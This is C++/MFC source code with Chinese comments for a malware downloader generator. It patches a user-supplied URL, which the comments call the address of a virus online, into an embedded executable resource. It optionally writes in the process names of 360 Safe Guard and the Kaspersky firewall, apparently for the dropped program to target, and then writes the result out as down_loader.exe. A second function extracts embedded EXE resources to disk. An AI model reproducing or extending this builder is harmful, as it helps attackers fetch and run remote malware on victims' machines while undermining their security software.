sz1=(((CButton*)(GetDlgItem(IDC_CHECK1)))->GetCheck()&1)?"360tray.exe":"";//判断选项1是否被选
sz2=(((CButton*)(GetDlgItem(IDC_CHECK2)))->GetCheck()&1)?"KAVPF.exe":"";//判断选项2是否被选
char url[52];
memset(url,0,52);
if(m_url=="") //url是网路上病毒的地址
{
MessageBox("请填写病毒地址");
return;
}
sprintf(url,"%s",m_url);HRSRC hres; //Handle to a resource.
HGLOBAL hresdata; //Handle to a global memory block.
DWORD dwsize,dwwritten;
LPBYTE p; //对字节的长指针
HANDLE hfile;
hres=FindResource(NULL,MAKEINTRESOURCE(IDR_EXE),"EXE");//查找资源返回指定资源的句柄
if(hres==NULL)
return;
dwsize=SizeofResource(NULL,hres); //资源大小hresdata=LoadResource(NULL,hres); //加载资源(DLL,EXE)其他的什么到全局内存中,返回资源的指针
if(hresdata==NULL)
return;
p=(LPBYTE)GlobalAlloc(GPTR,dwsize); //分配全局内存GPTR初始化为0并且具有默认属性。dwsize是大小
if(p==NULL)
return;
CopyMemory((LPVOID)p,(LPCVOID)LockResource(hresdata),dwsize);
//copymemory(des,obj,size) des:新的位置,obj原始地址,size拷贝的大小。
CopyMemory((LPVOID)(p+0x2001c),(LPCVOID)url,52);//将用户输入的网站地址写入Downloader
if(sz1!="")
CopyMemory((LPVOID)(p+0x2007c),(LPCVOID)sz1,15);//如果用户选择了选项1,则将360安全卫士的进程名写入Downloader
if(sz2!="")
CopyMemory((LPVOID)(p+0x20068),(LPCVOID)sz2,14);//如果用户选择了选项2,则将卡巴防火墙的进程名写入Downloader
char path[256];
GetCurrentDirectory(256,path); //得到当前程序运行的路径放在PATH中,
strcat(path,"\\down_loader.exe");//在程序目录下生成Downloader,名为“down_loader.exe”
DeleteFile(path);
hfile=CreateFile(path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL); //创建文件,0KB大小
if(hfile==NULL)
return;
WriteFile(hfile,(LPVOID)p,dwsize,&dwwritten,NULL); //写文件
CloseHandle(hfile);
装载指定EXE:
BOOL LoadSource(UINT resoure_id , const char * type , const char * filepath)
{
//获得资源指针
HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
if( hRsrc )
{ //获得资源大小
DWORD size = ::SizeofResource( NULL , hRsrc );
//将资源载入内存
HGLOBAL handle = ::LoadResource( NULL , hRsrc );
//写入文件
if( handle )
{ //定位资源位置
BYTE *MemPtr = (BYTE *)LockResource( handle );
CFile file;
if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
{
file.Write( MemPtr , size );
file.Close( );
}
::UnlockResource( handle );
}
::FreeResource( handle );
return TRUE;
}
return FALSE;
}